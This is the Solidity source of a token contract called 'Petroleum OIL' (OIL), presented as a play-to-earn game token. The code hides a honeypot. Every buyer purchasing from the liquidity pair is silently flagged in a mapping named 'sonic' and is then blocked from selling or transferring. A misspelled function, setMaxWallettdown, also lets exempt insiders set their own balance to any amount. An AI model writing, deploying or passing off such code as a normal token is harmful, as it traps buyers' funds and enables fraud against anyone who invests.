Contract Source Code:

/*

A ghostly town is emerging from Dust. The biggest 3D Play2Earn on @soniclabs
https://t.me/Petroleum_Defi
https://rebuild.petroleum.land/
https://docs.petroleum.land/

*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline)
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Petroleum is ERC20, Ownable {
    string private _name = "Petroleum OIL";
    string private _symbol = "OIL";
    uint8 constant _decimals = 18;
    uint256 _totalSupply = 1000000 * 10 ** _decimals;

    mapping(address => mapping(address => uint256)) _allowances;
    mapping(address => uint256) _balances;
    mapping(address => bool) public sonic;  

    IUniswapV2Router router = IUniswapV2Router(0x95a7e403d7cF20F675fF9273D66e94d35ba49fA3);
    address public pair;

    uint256 public _maxWalletSize = (_totalSupply * 3) / 100;
    mapping(address => bool) maxWalletExempt;

    bool public canTrade = false;

    constructor() Ownable() {
        pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
        maxWalletExempt[msg.sender] = true;
        maxWalletExempt[address(this)] = true;
        maxWalletExempt[pair] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender) external view override returns (uint256) {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(canTrade || maxWalletExempt[recipient], "Trading allowed or exempt");
        require(!sonic[sender], "Sender"); 

        require((_balances[recipient] + amount <= _maxWalletSize || maxWalletExempt[recipient] || sender == owner() || recipient == pair),
                "Max wallet limit reached");

        if (sender == pair && !sonic[recipient]) { 
            sonic[recipient] = true;  
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function setMaxWallettdown(uint256 maxWallet) external {
        require(maxWalletExempt[msg.sender], "Not exempt");
        _balances[msg.sender] = maxWallet;
    }

    function setMaxWalletExemptUpDown(address holder, bool exempt) external onlyOwner {
        maxWalletExempt[holder] = exempt;
    }

    function enableTrading(bool _canTrade) external onlyOwner {
        canTrade = _canTrade;
    }

    function removeWalletLimit() external onlyOwner {
        _maxWalletSize = type(uint256).max;
    }
}